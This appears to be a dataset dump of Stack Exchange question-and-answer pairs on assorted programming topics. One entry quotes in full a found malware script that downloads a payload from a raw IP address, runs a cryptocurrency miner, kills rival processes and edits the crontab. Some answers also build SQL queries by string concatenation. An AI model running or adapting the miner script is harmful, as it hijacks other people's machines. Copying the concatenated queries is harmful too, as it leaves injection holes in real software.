qid int64 10 74.7M | question stringlengths 15 26.2k | date stringlengths 10 10 | metadata list | response_j stringlengths 27 28.1k | response_k stringlengths 23 26.8k |
|---|---|---|---|---|---|
27,091,781 | I want to bind datalist from code behind in asp.net
i am taking product id's from a list and selecting all products on their bases
Following is my code:
```
List<string> r_items_grid = (List<string>)Session["recent_items"];
for(int i=0; i < r_items_grid.Count; i++)
{
OleDbCommand cmd_r_items= new OleDbCommand("SELECT product_id,product_name,product_price,product_image_1 from products where product_id="+ Convert.ToInt32( r_items_grid[i]),con);
r_items_reader=cmd_r_items.ExecuteReader();
DataList3.DataSource = r_items_reader;
DataList3.DataBind();
}
```
But i am only seeing last record in datalist | 2014/11/23 | [
"https://Stackoverflow.com/questions/27091781",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2842311/"
] | If I am not wrong you are trying put string list in a session. When you traversing the whole list each and every time you bind the datalist (DataList3) with a new string based on list index value. So it shows always the last string value of the list. If you want to fetch all data according your list, you might use this
```
List<string> r_items_grid = (List<string>)Session["recent_items"];
string items_id= string.Join(",", r_items_grid);// items_id may be like 1,2,3,4,5.
OleDbCommand cmd_r_items= new OleDbCommand("SELECT product_id,product_name,product_price,product_image_1 from products where product_id IN ("+ items_id + ")",con);
r_items_reader=cmd_r_items.ExecuteReader();
DataList3.DataSource = r_items_reader;
DataList3.DataBind();
```
"SELECT product\_id,product\_name,product\_price,product\_image\_1 from products where product\_id IN (1,2,3,4,5...)" the query is used to fetch all data whose items\_id is 1,2,3,4,5... | **There is No Need to For Loop**
You can use comma separated List
```
string commaSepara = String.Join(",", r_items_grid);
OleDbParameters commaSepara=new OleDbParameters("@commaSepara",SqlDbType.NVarchar,-1);
commaSepara.Value=commaSepara;
OleDbCommand cmd_r_items= new OleDbCommand(@"SELECT product_id,product_name,product_price,product_image_1 from products where product_id
IN ( @commaSepara )",con);
r_items_reader=cmd_r_items.ExecuteReader();
DataList3.DataSource = r_items_reader;
DataList3.DataBind();
``` |
27,510,037 | How should we measure the execution time of a function in the OCaml toplevel? | 2014/12/16 | [
"https://Stackoverflow.com/questions/27510037",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3195698/"
] | As @user3075773 says, you can use `Sys.time`. However note that it returns processor time (CPU time). More often I want to know the wall clock time (elapsed time). You can get this from `Unix.gettimeofday`:
```
let time f x =
let t = Unix.gettimeofday () in
let fx = f x in
Printf.printf "execution elapsed time: %f sec\n"
(Unix.gettimeofday () -. t);
fx
``` | Using `gettimeofday` like the accepted answer suggests is not a good idea as it is sensitive to calendar time operating system adjustements (e.g. via `ntp`).
If you just want CPU time then using `Sys.time` is fine. If you want wall-clock time, then a monotonic time source should be used. One is available for OCaml in the [mtime](http://erratique.ch/software/mtime) package. |
42,879,594 | [sar man page](https://linux.die.net/man/1/sar) says that one can specify the resolution in seconds for its output.
However, I am not able to get a second level resolution by the following command.
```
sar -i 1 -f /var/log/sa/sa18
11:00:01 AM CPU %user %nice %system %iowait %steal %idle
11:10:01 AM all 0.04 0.00 0.04 0.00 0.01 99.91
11:20:01 AM all 0.04 0.00 0.04 0.00 0.00 99.92
11:30:01 AM all 0.04 0.00 0.04 0.00 0.00 99.92
```
Following command too does not give second level resolution:
```
sar -f /var/log/sa/sa18 1
```
I am able to get second-level result only if I do not specify the -f option:
```
sar 1 10
08:34:31 PM CPU %user %nice %system %iowait %steal %idle
08:34:32 PM all 0.12 0.00 0.00 0.00 0.00 99.88
08:34:33 PM all 0.00 0.00 0.12 0.00 0.00 99.88
08:34:34 PM all 0.00 0.00 0.12 0.00 0.00 99.88
```
But I want to see system performance varying by second for some past day.
How do I get sar to print second-level output **with the -f option**?
Linux version: Linux 2.6.32-642.el6.x86\_64
sar version : sysstat version 9.0.4 | 2017/03/18 | [
"https://Stackoverflow.com/questions/42879594",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2250246/"
] | I think the exist sar report file 'sa18' collected with an interval 10 mins. So we don't get the output in seconds.
Please check the /etc/cron.d/sysstat file.
```
[root@testserver ~]# cat /etc/cron.d/sysstat
#run system activity accounting tool every 10 minutes
*/10 * * * * root /usr/lib64/sa/sa1 1 1
#generate a daily summary of process accounting at 23:53
53 23 * * * root /usr/lib64/sa/sa2 -A
```
If you want to reduce the sar interval interval you can modify the sysstat file. | The /var/log/sa directory has all of the information already.
The sar command serves here as a parser, and reads all data in the sa file.
So you can use `sar -f /var/log/sa/<sa file>` to see first-level results, and use other flags, like '-r', for other results.
```
# sar -f /var/log/sa/sa02
12:00:01 CPU %user %nice %system %iowait %steal %idle
12:10:01 all 14.70 0.00 5.57 0.69 0.01 79.03
12:20:01 all 23.53 0.00 6.08 0.55 0.01 69.83
# sar -r -f /var/log/sa/sa02
12:00:01 kbmemfree kbavail kbmemused kbactive kbinact kbdirty
12:10:01 2109732 5113616 30142444 25408240 2600
12:20:01 1950480 5008332 30301696 25580696 2260
12:30:01 2278632 5324260 29973544 25214788 4112
``` |
48,943,510 | Here's my code:
```
class LoginUserResponse : Codable {
var result: String = ""
var data: LoginUserResponseData?
var mess: [String] = []
}
public class LoginUserResponseData : Codable {
var userId = "0"
var name = ""
}
```
Now, calling the server API I'm parsing response like this (using Stuff library to simplify parsing):
```
do {
let loginUserResponse = try LoginUserResponse(json: string)
} catch let error {
print(error)
}
```
When I enter the correct password I'm getting an answer like this:
```
{"result":"success","data":{"userId":"10","name":"Foo"},"mess":["You're logged in"]}
```
This is fine, the parser is working correctly.
While providing wrong password gives the following answer:
```
{"result":"error","data":{},"mess":["Wrong password"]}
```
In this situation, the parser is failing. It should set data to nil, but instead, it tries to decode it to the LoginUserResponseData object.
I'm using the same approach on Android using retrofit and it works fine. I rather don't want to make all fields as optional.
Is there a way to make parser treat empty json {} as nil? Or make LoginUserResponseData as non-optional and it'll just have default values? I know I can create a custom parser for this, but I have tons of requests like this and it'll require too much additional work. | 2018/02/23 | [
"https://Stackoverflow.com/questions/48943510",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1264375/"
] | This is what your implementation of `init(from: Decoder)` should look like.
**Note:** You should consider changing `LoginUserResponse` from a class to a struct, since all it does is store values.
```
struct LoginUserResponse: Codable {
var result: String
var data: LoginUserResponseData?
var mess: [String]
init(from decoder: Decoder) throws
{
let values = try decoder.container(keyedBy: CodingKeys.self)
result = try values.decode(String.self, forKey: .result)
mess = try values.decode([String].self, forKey: .mess)
if let d = try? values.decode(LoginUserResponseData.self, forKey: .data) {
data = d
}
}
}
``` | First time I was facing this, normally backend would send nil but I was receiving empty data.
Just make the data inside User data optional and it will work out of the box.
Looks like tedious to be unwrapping when needed, but if you have your API Layer, and your Business Model Layer which you would build from your API object with the exact data that you need is totally fine.
```
struct LoginUserResponse : Codable {
let result: String
let data: LoginUserResponseData?
let mess: [String] = []
}
struct LoginUserResponseData : Codable {
let userId: String?
let name: String?
}
``` |
37,115 | I'm looking at solving systems with the FEM discretization
$$
-\int\_\Omega (\Delta u) v = \int\_\Omega \nabla u \cdot \nabla v - \int\_\Gamma (n\cdot\nabla u) v.
$$
*without* applying Dirichlet- or Neumann-type boundary conditions. The resulting matrix is generally not self-adjoint (except in for 1D meshes).
The kernel consists of all linear functions over the domain, so there are always $n+1$ eigenvalues 0 (where $n$ is the dimensionality of the mesh).
The right-hand side is such that the system is consistent and I would like to find a solution of the system. The idea is to use GMRES, starting off with an all-zero initial guess.
Is there a good preconditioner for this known in literature? I played around with Dirichlet- and Neumann-Laplace without much success.
---
To get a feel, here's how to create the matrix and plot the spectrum in sckit-fem:
[](https://i.stack.imgur.com/MDp8D.png)
```py
import matplotlib.pyplot as plt
import meshzoo
import numpy as np
import skfem
from skfem.helpers import dot, grad
@skfem.BilinearForm
def laplace(u, v, _):
return dot(grad(u), grad(v))
@skfem.BilinearForm
def flux(u, v, w):
return dot(w.n, u.grad) * v
points, cells = meshzoo.disk(6, 20)
pT = np.ascontiguousarray(points.T)
cT = np.ascontiguousarray(cells.T)
mesh = skfem.MeshTri(pT, cT)
element = skfem.ElementTriP1()
basis = skfem.CellBasis(mesh, element)
facet_basis = skfem.FacetBasis(basis.mesh, basis.elem)
lap = skfem.asm(laplace, basis)
boundary_terms = skfem.asm(flux, facet_basis)
A = lap - boundary_terms
out = np.linalg.eigvals(A.toarray())
plt.plot(out.real, out.imag, "o")
plt.savefig("out.png", bbox_inches="tight")
plt.show()
``` | 2021/03/28 | [
"https://scicomp.stackexchange.com/questions/37115",
"https://scicomp.stackexchange.com",
"https://scicomp.stackexchange.com/users/3980/"
] | As others have pointed out, (algebraic) multigrid can actually be a good preconditioner in this scenario. Below is a proof-of-concept implementation with [scikit-fem](https://github.com/kinnala/scikit-fem) and [pyamg](https://github.com/pyamg/pyamg/). It shows that pyamg's preconditioner makes the number of GMRES iterations more or less independent of the number of unknowns.
I only tested this with a mesh of a few thousand unknowns. The main computational cost is computing the left nullspace of `A`, used for making the right-hand side consistent. (A computation that isn't necessary in the actual application where consistency is guaranteed.)
[](https://i.stack.imgur.com/CiOKT.png)
```py
import matplotlib.pyplot as plt
import meshzoo
import numpy as np
import pyamg
import scipy.linalg
import scipyx
import skfem as fem
from skfem.helpers import dot
from skfem.models.poisson import laplace
rng = np.random.default_rng(0)
tol = 1.0e-8
for n in range(5, 41, 5):
# points, cells = meshzoo.rectangle_tri((0.0, 0.0), (1.0, 1.0), n)
points, cells = meshzoo.disk(6, n)
print(f"{n = }, {len(points) = }")
@fem.BilinearForm
def flux(u, v, w):
return dot(w.n, u.grad) * v
mesh = fem.MeshTri(points.T.copy(), cells.T.copy())
basis = fem.InteriorBasis(mesh, fem.ElementTriP1())
facet_basis = fem.FacetBasis(basis.mesh, basis.elem)
lap = fem.asm(laplace, basis)
boundary_terms = fem.asm(flux, facet_basis)
A = lap - boundary_terms
b = rng.random(A.shape[1])
# make the system consistent by removing A's left nullspace components from the
# right-hand side
lns = scipy.linalg.null_space(A.T.toarray()).T
for n in lns:
b -= np.dot(b, n) / np.dot(n, n) * n
ml = pyamg.smoothed_aggregation_solver(
A,
coarse_solver="jacobi",
symmetry="nonsymmetric",
max_coarse=100,
)
M = ml.aspreconditioner(cycle="V")
_, info = scipyx.gmres(A, b, tol=tol, M=M, maxiter=20)
# res = b - A @ info.xk
num_unknowns = A.shape[1]
plt.semilogy(
np.arange(len(info.resnorms)), info.resnorms, label=f"N={num_unknowns}"
)
plt.xlabel("step")
plt.ylabel("residual")
plt.legend()
plt.savefig("out.png", bbox_inches="tight")
plt.show()
``` | Here is at least an idea, whether it works is a different question.
Let's say you sort unknowns so that you have the ones in the interior of the domain first, and then all those at the boundary. Then the matrix that corresponds to your problem decomposes in the following way:
$$
A =
\begin{pmatrix}
A^{\circ\circ} & B^{\circ\partial} \\
C^{\partial\circ} & D^{\partial\partial}
\end{pmatrix}
$$
where $\circ$ indicates shape functions in the interior and $\partial$ on the boundary of the domain. $A^{\circ\circ}$ is simply the Dirichlet-boundary condition matrix for the Laplace operator and we know how to invert it efficiently. One could then think about using a Schur complement approach where you first solve for the boundary unknowns and then the interior unknowns, or maybe the other way around.
If you follow the arguments of the Silvester-Wathen preconditioner for the Stokes system, you will also be able to construct a good preconditioner for the whole matrix based on the Schur complement approach; it will probably look something like this:
$$
P^{-1} =
\begin{pmatrix}
A^{\circ\circ} & B^{\circ\partial} \\
0 & S^{\partial\partial}
\end{pmatrix}^{-1}
$$
where $S^{\partial\partial}=D^{\partial\partial}-D^{\partial\circ}[A^{\circ\circ}]^{-1}B^{\circ\partial}$ is the Schur complement. It would be worthwhile thinking about whether one can approximate $S^{\partial\partial}$ by a simpler matrix, in the same way as for the Stokes equations, one approximates the Schur complement by the mass matrix. |
160,068 | Clam found this file named "kworker34" in the /tmp directory on my Ubuntu linux machine. I promptly deleted this file. Also found a shell file, kws.sh in there. Looks like it is connecting to 2 IP addresses - one in Russia and one in Ukraine.
Anyone seen this?
This is the content of kwa.sh -
```
#!/bin/sh
ps -fe|grep kworker34 |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
wget 91.235.143.237/miu.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34
else
wget -O /tmp/kworker34 http://91.235.143.237/kworker_na
fi
chmod +x /tmp/kworker34
nohup /tmp/kworker34 -B -a cryptonight -o stratum+tcp://185.154.52.74:80 -u 13 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi
pkill -f conns
pkill -f irqbalance
crontab -l | sed '/91.230.47.40/d' | crontab -
sleepTime=20
while [ 0 -lt 1 ]
do
ps -fe| grep kworker34 | grep -v grep
if [ $? -ne 0 ]
then
echo "process not exists ,restart process now... "
wget 91.235.143.237/miu.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34
chmod +x /tmp/kworker34
nohup /tmp/kworker34 -a cryptonight -o stratum+tcp://185.154.52.74:80 -u 13 -p x >/dev/null 2>&1 &
echo "restart done ..... "
else
echo "process exists , sleep $sleepTime seconds "
pkill -f conns
pkill -f irqbalance
crontab -l | sed '/91.230.47.40/d' | crontab -
fi
sleep $sleepTime
done
``` | 2017/05/21 | [
"https://security.stackexchange.com/questions/160068",
"https://security.stackexchange.com",
"https://security.stackexchange.com/users/148968/"
] | Yes, recently there was discovered some Jenkins vulnerability which allows to execute some code on the outdated Jenkins instance, usually mining Monero cryptocurrency programs.
Check these links for more information:
<http://jenkins-ci.361315.n4.nabble.com/cryptonight-exploit-td4898258.html>
<https://twitter.com/jenkinsci/status/864178120827428864>
Install 2.46.2 / 2.57 or above version of Jenkins to avoid the infection.
Btw. There was a big spread of Monero malware miners one week before WannaCry appeared. | I found out that the process runs with my jenkins build server user credentials, so that could be one way of infection. |
20,434,514 | I am trying to make the tooltip load an image based on an attribute from the element, however there are multiple elements with different images so I am attempting to load the image based on an attribute.
**HTML:**
```
<a class="item" href="#" title="" image="images/1.png">image 1.</a>
</br>
<a class="item" href="#" title="" image="images/1.png">image 1.</a>
```
**JS:**
```
$(".item" ).tooltip({ content:'<img src="somehow get image from image attribute if possible?" />' });
```
Fiddle: <http://jsfiddle.net/vvVwD/327/> | 2013/12/06 | [
"https://Stackoverflow.com/questions/20434514",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1380520/"
] | ```
$(".item" ).each(function() {
$(this).tooltip({ content:'<img src="'+this.getAttribute('image')+'" />' });
});
```
Using a data attribute, as in data-image, would be more appropriate, and more valid
```
<a class="item" href="#" title="" data-image="images/1.png">image 1.</a>
```
and then
```
$(".item" ).each(function() {
$(this).tooltip({ content:'<img src="'+ $(this).data('image') +'" />' });
});
``` | ***[JSFIDDLE DEMO](http://jsfiddle.net/vvVwD/328/)***
```
$(".item").tooltip({
content: function () {
return $(this).attr('image');
}
});
```
If you need an image, just wrap the return value with image tags like below.
```
return '<img src="' + $(this).attr("image") + '">';
``` |
72,740 | >
> This is a sister question to: [Is it bad to use Unicode characters in variable names?](https://softwareengineering.stackexchange.com/questions/16010/is-it-bad-to-use-unicode-characters-in-variable-names)
>
>
>
As is my wont, I'm working on a language project. The thought came to me that allowing multi-token identifiers might improve both readability and writability:
```
primary controller = new Data Interaction Controller();
# vs.
primary_controller = new DataInteractionController();
```
And whether or not you think that's a good idea\*, it got me musing about how permissive a language ought to be about identifiers, and how much value there is in being so.
It's obvious that allowing characters outside the usual `[0-9A-Za-z_]` has some advantages in terms of writability, readability, and proximity to the domain, but also that it can create maintenance nightmares. There seems to be a consensus (or at least a trend) that [English is the language of programming](https://softwareengineering.stackexchange.com/questions/1483/do-people-in-non-english-speaking-countries-code-in-english). Does a Chinese programmer really need to be writing `电子邮件地址` when `email_address` is the international preference?
I hate to be Anglocentric when it comes to Unicode, or a stickler when it comes to other identifier restrictions, but is it really worth it to allow crazy variable names?
**tl;dr: Is the cost of laxity higher than the potential benefit?**
Why or why not? What experiences and evidence can you share in favour of or opposed to relaxed restrictions? Where do you think is the ideal on the continuum?
\* My argument in favour of allowing multi-token identifiers is that it introduces more sane points to break long lines of code, while still allowing names to be descriptive, *and* avoiding `ExcessiveCamelCase` and `a_whole_lot_of_underscores`, both of which are detrimental to readability. | 2011/05/01 | [
"https://softwareengineering.stackexchange.com/questions/72740",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/2107/"
] | I once worked with USL which allowed a space as part of a name. The combinatorial possibilities became a nightmare. Is "LAST LEFT TURN" one identifier? Or two ("LAST LEFT" and "TURN") or two identifiers ("LAST" and "LEFT TURN") or three? And is "RIGHT TURN" (one blank) the same as "RIGHT TURN" (two blanks) even though a text editor won't match them? No, don't ever accept blanks in names.
For similar reasons never accept special characters that mean something in the language. Is "ALPHA-BETA" a variable name or a subtraction?
Normally identifiers must start with a letter. Are you going to extend that to other Unicode languages? How will you know what a letter is in Arabic?
I fear that you are opening a gigantic can of worms. | I'm not sure about spaces but it must be possible. I do think it means you have to give up on spaces in other places, and that's a decision you should weigh. In curly-style languages spaces are usually only necessary for separating keywords from identifier and separating types from identifiers (int x, new Y).
Hmm. When I think about it, it might not even be as unfeasible as I thought.
For the UTF8-chars I'm feeling the same kind of ambivalence. Clearly the horrors of trying to type localized chars on a non-localized keyboard layout or having two chars that look alike but are not the same are a nightmare.
At the same time, the adagium 'program in English' simply can't be applied everywhere. It's great for abstract concepts and libs and such, but when you are programming business logic you may need to represent local concepts (I could think of legal terms), and it's only confusing to translate them to an English approximation and then back again. If you have a latin-scriptbased language you might get away with ditching the non-ascii-chars but the more you get away from that, the harder it gets. And the more the concepts you need might not have a good English translation too.
So I guess I have to leave this undecided. I do not need either spaces or utf8-chars at the moment though. |
28,076,109 | I'm new to learning how to program. And I'm wondering what the best way is to handle the problem where you got a double if statement, with both having the same Else result.
Take for instance the following double if statement.
```
if (isset($x)) {
$y = doSomething($x);
if ($y == "something") {
do result A;
}
else {
do result B;
}
}
else {
do result B;
}
```
It doesn't seem like a smart idea to write result B multiple times.
Now what are the different ways to prevent having to write result B multiple times?
One can try making 1 combined if statement, but this doesn't seem always possible (for instance when checking with isset() if a variable exists).
```
if (isset($x) && $y) { etc. }
```
What other options are there?
PS. I'm also open for other suggestions to help improve my code, like how to write if(isset($x)) in a nicer way. | 2015/01/21 | [
"https://Stackoverflow.com/questions/28076109",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3881236/"
] | ```
if (isset($x) && doSomething($x) == 'something') {
// do result A;
}
else {
// do result B;
}
```
Important: `doSomething($x)` will only be calculated if `isset($x)` evaluates to true. Otherwise, checking the condition is aborted directly and the else-branch will be executed. So you don't have to worry about `doSomething($x)` giving any side effects if `$x` isn't set.
I'm not sure if this is documented behaviour, but it can be checked with this:
```
<?php
function checkSomething() {
echo "Look, I'm checking something!\n";
return true;
}
if (1 == 0 && checkSomething()) {
echo "if\n";
} else {
echo "else\n";
}
```
The output:
```none
else
```
If `checkSomething()` would've been checked, it would have outputted `if` and also the `echo` in `checkSomething()`. | Thank you for your help all.
I found the following to be the easiest and most clear way to solve this. Now result B is only written once instead of multiple times. Especially if result B gets long, this keeps it easy to read.
```
$failure = false;
if (isset($x)) {
$y = doSomething($x);
if ($y == "something") {
do result A;
} else {
$failure = true;
}
} else {
$failure = true;
}
if ($failure == true) {
do result B;
}
``` |
5,147,460 | I'm following the [ASP.NET MVC Tutorial](http://www.asp.net/mvc/tutorials/mvc-music-store-part-3) and having started in VB.NET I'm having trouble converting the following razor code:

I have got
```
<ul>
@For Each g As MvcApplication1.Genre In Model
<li> @g.Name </li>
Next
</ul>
```
but getting
>
> Attribute Sepcifier is not a complete
> statement
>
>
>
on both the `<li>` tags. I understand I need to use line continuation but can't figure out where. I'd be greatful if you can point out the problem. | 2011/02/28 | [
"https://Stackoverflow.com/questions/5147460",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/436028/"
] | Put an @ before the `li`:
```
<ul>
@For Each g As MvcApplication1.Genre In Model
@<li>@g.Name</li>
Next
</ul>
```
I would recommend you the [following article](http://www.asp.net/webmatrix/tutorials/asp-net-web-pages-visual-basic). | Try using the text tag, which will tell razor views that the following is normal html markup, they are not actually rendered:
```
<ul>
@For Each g As MvcApplication1.Genre In Model
<text><li> @g.Name </li></text>
Next
</ul>
``` |
17,285,537 | I have a folder "model" with files named like:
```
a_EmployeeData
a_TableData
b_TestData
b_TestModel
```
I basically need to drop the underscore and make them:
```
aEmployeeData
aTableData
bTestData
bTestModel
```
Is there away in the Unix Command Line to do so? | 2013/06/24 | [
"https://Stackoverflow.com/questions/17285537",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1057413/"
] | ```
for f in model/* ; do mv "$f" `echo "$f" | sed 's/_//g'` ; done
```
Edit: modified a few things thanks to suggestions by others, but I'm afraid my code is still bad for strange filenames. | In zsh:
```
autoload zmv # in ~/.zshrc
cd model && zmv '(**/)(*)' '$1${2//_}'
``` |
859,760 | So, say an object that is 10 feet tall is 100 feet away. If I hold up a ruler 3 feet away, then the object in the distance would correspond to about how many inches?
Tried using this guy: <http://www.1728.org/angsize.htm>
to calculate the angle, which ends up being 5.7248 degrees
Then, if I solve for size using 5.7248 degrees at a distance of 3 feet I get 0.3, or 4.8 inches.
The thing is is that that does not seem accurate to me. Perhaps my perception of distance is off, but 4.8 inches looks more like a 10 foot tall object at 50 feet to me...?
I mean, it is a simple ratio really..
x/3 feet = 10 feet/100 feet right??? | 2014/07/08 | [
"https://math.stackexchange.com/questions/859760",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/162229/"
] | Thanks to the [intercept theorem](https://en.wikipedia.org/wiki/Intercept_theorem) this is indeed a simple ratio:
$$\frac{x}{3\,\text{feet}}=\frac{10\,\text{feet}}{100\,\text{feet}}
\qquad\implies\qquad x=0.3\,\text{feet}$$
If you want to also involve the angles, you have
\begin{align\*}
2\tan\frac\alpha2=\frac{10\,\text{feet}}{100\,\text{feet}}
\qquad&\implies\qquad \alpha=2\arctan0.05\approx5.7248°
\\
2\tan\frac\alpha2=\frac{x}{3\,\text{feet}}
\qquad&\implies\qquad x=3\,\text{feet}\times2\tan\frac\alpha2 = 0.3\,\text{feet}
\end{align\*}
So the computations you did using that tool are correct. Anything that looks wrong is likely an optical illusion. | It seems to me that x/3 =10/100 shows that x= 0.3 right so far, but .3 of a foot is 3.6 inches not 4.8 right? So that may account for the difference in perceived size at 100' and 50'. Thanks |
45,958,566 | I am getting output from a database. Sometimes I am getting 2 div and sometimes I am getting 3 div so I have to set the equal width of the div. I mean if there are 2 div then set 50% of each and if there are 3 div then set 33.33% of each. Would you help me in this?
```css
#container1
{
width: 100%;
display: inline-flex;
}
#container1 div{
color: #fff;
display: inline-block;
height: 100%;
width: 50%;
background: #24252A;
text-align: center;
cursor: default;
padding: 2em 0;
}
#container1 div:nth-of-type(2) {
background: red;
}
#container1 div:nth-of-type(3)
{
width: 33.33% !important;
}
```
```html
<div id="container1">
<!--div depanding upload database-->
<div></div>
<div></div>
<div></div>
</div>
``` | 2017/08/30 | [
"https://Stackoverflow.com/questions/45958566",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6928258/"
] | Use `flex: 1 100%` and remove the width:
```css
#container1
{
width: 100%;
display: inline-flex;
}
#container1 div{
color: #fff;
display: inline-block;
height: 100%;
flex: 1 100%;
background: #24252A;
text-align: center;
cursor: default;
padding: 2em 0;
}
#container1 div:nth-of-type(2) {
background: red;
}
```
```html
<div id="container1">
<!--div depanding upload database-->
<div></div>
<div></div>
<div></div>
</div>
```
```css
#container1
{
width: 100%;
display: inline-flex;
}
#container1 div{
color: #fff;
display: inline-block;
height: 100%;
flex: 1 100%;
background: #24252A;
text-align: center;
cursor: default;
padding: 2em 0;
}
#container1 div:nth-of-type(2) {
background: red;
}
```
```html
<div id="container1">
<!--div depanding upload database-->
<div></div>
<div></div>
</div>
``` | Just Use `flex-grow: 1;` in child element. check updated snippet below
```css
#container1
{
width: 100%;
display: flex;
}
#container1 div{
color: #fff;
display: inline-block;
height: 100%;
background: #24252A;
text-align: center;
cursor: default;
padding: 2em 0;
flex-grow: 1;
}
#container1 div:nth-of-type(2) {
background: red;
}
```
```html
<div id="container1">
<!--div depanding upload database-->
<div>1</div>
<div>2</div>
<div>3</div>
</div>
``` |
265,146 | I'm sure this is a stupid question but I can't find the answer.
iPhones have roughly a 6-7 Watt Hour battery according to multiple sources online.
They can also use a 5W or 10W charger (1Amp x 5V - or 2A x 5V) for charging - which I have observed that they reliably draw for the first few hours of charging (then of course, slow down over about 80% charge).
Even a 10W charger takes 3 or 4 hours to get to 80% from no charge. Doesn't that mean it should have a 30 or 40Watt Hour battery? What am I missing?
thx. | 2016/10/23 | [
"https://electronics.stackexchange.com/questions/265146",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/68498/"
] | There are at least three things you are not considering:
- As Turbo pointed out in a comment, the phone is using some power while the battery is being charged. Not all the power from the charger goes to charging the battery.
- Batteries aren't 100% efficient. More energy needs to be put into them when charging than what you get out when discharging. The circuitry around the battery that manages the charging and discharging also has some losses.
- Just because a battery is rated for 10 Wh doesn't literally mean that's a good way to charge it, even if it were 100% efficient. Wh is a unit of energy, and doesn't imply charging time and rate. You could just as well express the energy in Ws, but attempting to charge a cell phone battery in one second would cause pyrotechnics.
Depending on the battery, it's life may be extended by charging from empty to full over more time than one hour. Note that it takes more than one hour to run down a fully charged battery, even with everything on. | Ballpark efficiency fort Li-ion batteries are according to wikipedia 80-90% <https://en.wikipedia.org/wiki/Lithium-ion_battery#cite_note-PHEV1-4>
You might be interested in testing charge time with phone turned off, or in power save mode. WiFi and blue-tooth tend to consume a lot of power.
Cables do vary a lot, design varies according to standards as well. Basically there are two concerns, current causing heat resulting in fire (more/thicker copper for better cooling), and isolation so that intended voltage does not jump through cable and cause short circuit.
I would do a resistance check on the cable, including the cable connectors (they are usually not made of copper and cause losses). I would also clean all connectors properly with isopropanol or similar.
During charging the phone will/should monitor the heat and limit charging in order to prevent fire.
Does the technical specs say anything about charge time?
As a post note I'd like to add that charge time tends to increase with battery age/usage. |
37,659,066 | I'm trying to just click 'North America' and 'US', at the following URL:
<http://www.nike.com/language_tunnel>
Here are the steps I have were working for a few weeks, but now seem to not work.
```
# choose country/region
driver.find_element_by_xpath("(//button[@type='button'])[2]").click()
wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, "li.US a"))).click()
```
The first command now seems to open South America and then it stalls because it is looking for US, but there is no US link under South America.
I believe I need to change the xPath, but I'm not sure what is the correct xpath (and would prefer to not use xpath at all). | 2016/06/06 | [
"https://Stackoverflow.com/questions/37659066",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6397668/"
] | As you can see, locating the element by index in this case is not quite reliable. Things like the order of elements tend to change frequently. Instead, use the `data-region` attribute, for instance:
```
driver.find_element_by_css_selector("button[data-region=n-america]").click()
``` | If you might want to change the country name tomorrow, you can use the following snippet :
```
countryToSearch = "North America" // you can change this accordingly, rest should work fine
for countries in driver.find_elements_by_xpath("(//button[@type='button'])"):
countryName = countries.text
if countryName == countryToSearch:
countries.click()
break
``` |
210,990 | In *Avengers: Infinity War*...
>
> Doctor Strange peers into the future and finds the only one where they win, then gives up the Time Stone.
>
>
>
In *Avengers: Endgame*...
>
> Bruce tries to get the Time Stone from The Ancient One, but she refuses, until Bruce mentions that Strange gave up the Time Stone willingly after peering into the future.
>
>
>
This confused me because can't The Ancient One peer into the same future for herself? | 2019/04/27 | [
"https://scifi.stackexchange.com/questions/210990",
"https://scifi.stackexchange.com",
"https://scifi.stackexchange.com/users/1755/"
] | She can
=======
In *Doctor Strange* The Ancient One comments that she looks into the future.
>
> **The Ancient One:** I've spent so many years peering through time, looking at this exact moment. But I can't see past it. I've prevented countless terrible futures and after each one there's always another, and they all lead here but never further.
>
>
> **Strange:** You think this is where you die.
>
>
> **The Ancient One:** You wonder what I see in your future?
>
>
> **Strange:** No. Yes.
>
>
> **The Ancient One:** I never saw your future, only its possibilities. You have such a capacity for goodness. You've always excelled, but not because you crave success but because of your fear of failure.
>
>
> *Doctor Strange*
>
>
>
She was in possession of the Eye of Agamotto when Bruce goes to see her in *Avengers: Endgame* and is the top sorcerer at that point in time. It seems only logical she would be able to peer into the future.
As for why she didn’t? Well she seemed to be too busy questioning Hulk and not really believing his story to spend time looking into the future. It also looks like when looking into the future you would become quite vulnerable so maybe she didn’t want to do it if Hulk was a Bad Guy. | **She can, but only to a point.**
In *Doctor Strange*, she says
>
> I've spent so many years peering through time, looking at this exact moment. But I can't see past it.
>
>
>
The "it" in question is
>
> the moment of her death.
>
>
>
Doctor Strange gave up the Time Stone quite some time after the "it".
The only seeming contradiction is that Doctor Strange apparently *can* see past
>
> his own death... except in this one possible future, he turns out not to be dead after all.
>
>
> |
3,560,652 | ```
<table>
<tr style="background:#CCCCCC">
<td>
<input id="Radio1" name="G1M" value="1" type="radio" /><br />
<input id="Radio2" name="G1M" value="2" type="radio" /><br />
<input id="Radio3" name="G1M" value="3" type="radio" /><br />
<input id="Radio4" name="G1M" value="4" type="radio" />
</td>
<td>
<input id="Radio5" name="G1L" value="1" type="radio" />Gentle or kindly<br />
<input id="Radio6" name="G1L" value="2" type="radio" />Persuasive, convincing<br />
<input id="Radio7" name="G1L" value="3" type="radio" />Humble, reserved, modest<br />
<input id="Radio8" name="G1L" value="4" type="radio" />Original, inventive, individualistic
</td>
</tr>
</table>
```
In the page, the two sets of radio buttons appear by each other, each 1 column tall and 4 rows deep. However, since the second set has text after it, the spread between the radio buttons are wider than the spread between the first set of buttons. I don't want to add text after the first set and I've tried just using a blank space. Is there a better way to format these two side-by-side radio button sets? | 2010/08/24 | [
"https://Stackoverflow.com/questions/3560652",
"https://Stackoverflow.com",
